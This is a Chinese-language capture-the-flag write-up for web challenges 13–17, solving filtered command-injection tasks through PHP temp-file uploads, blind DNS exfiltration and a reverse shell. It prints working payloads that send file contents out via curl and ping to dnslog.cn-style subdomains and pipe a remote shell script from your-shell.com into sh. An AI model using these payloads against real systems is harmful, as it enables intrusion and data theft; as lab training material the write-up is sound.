web13-17
web13
开启环境后,代码比较简单,不能有数字有大小写的字母
由于又是命令过滤,导致无法使用异或来进行操作
如此构造一个html文件
<form action="http://dfe68b41-50a4-466a-88ae-4384ac67bdd1.challenges.ctfer.com:8080/" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="上传" />
打开本地构造网址,进行强制上传,抓包,首先进行whoami
的测试
php会对上传的文件放入一个暂时的路径中,脚本执行完后会进行删除
执行成功
继续寻找flag
发现需要不断将大写字母进行位置的尝试
得到flag
flag{6d7a8d27-2587-41a2-abb8-b925ab31f932}
由于临时文件编码有随机性,所以这个还需要多次尝试防止出错
web14
开启环境后,发现没有回显
我们转入一个txt中,发现可以找到
找到flag
flag{0ba8994a-0f8e-4ada-87e9-89b186e63546}
web15
开启环境后与上题很像,也先同样操作到文件中
发现无法回显,于是想到借助http://dnslog.cn/的力量
首先进行测试用whoami
/?cmd=ping -c 1 `whoami`.nh03oz.dnslog.cn
成功通过DNS通道获取数据
由于DNS解析无法换行等还需加工,进行10位10位来读
/?cmd=a=`sed -n "3,4p" fla?.php`;curl ${a:0:10}.nh03oz.dnslog.cn
拿到前10位
$flag="fla
同理继续操作
/?cmd=a=`sed -n "3,4p" fla?.php`;curl ${a:0:10}.nh03oz.dnslog.cn
发现很难有回显,于是考虑url解析时遇到一些其他字符,采用base64
/?cmd=a=`sed -n "3,4p" fla?.php|base64`;curl ${a:0:10}.nh03oz.dnslog.cn
进行回显,base64编码,可以避免
一个一个读取flag
还未解决,连接不上于是选择另一个稳定的dns通道http://ceye.io/
- jGZSywC9Im 0-10
- ZSywD7Mta4MzG1ZjMTmW 11- 30
- JMnY00NZk1 31-40
- LTK5ogqTOW 41 -50
- Q4mWvJnDK0 51-60
- mWrMfSI7Cg==
- jGZSywC9ImZSywD7Mta4MzG1ZjMTmWJMnY00NZk1LTK5ogqTOWQ4mWvJnDK0mWrMfSI7Cg==
但是由于dns通道导致大小写错乱flag很难拿到
web16
开启环境,同样与上题相似
借用工具,发送后
测试成功
发送ls命令
但是只有一个bin,因此我们需要进行编码
添加base64编码,成功获取
ZmxhZy5waHAKaW5kZXgucGhwCg==
进行解码,得到
于是我们读取flag.php即可
PD9waHAKCiRmbGFnPSJmbGFne2M3MTdmZWY0LThhZjktNDkwYi1iM2YzLTRjM2ZjMzM2YTNhOX0i
得到flag
flag{c717fef4-8af9-490b-b3f3-4c3fc336a3a9}
web17
开启环境后,发现request都被屏蔽了,于是使用反弹shell,借助平台https://your-shell.com/,这里有反弹shell的方法
之后构造命令,进行反弹shell
/?cmd= curl https://your-shell.com/47.120.30.250:1337 | sh
在服务器中得到flag
flag{140874c7-2bda-4622-b635-508e27a7e744}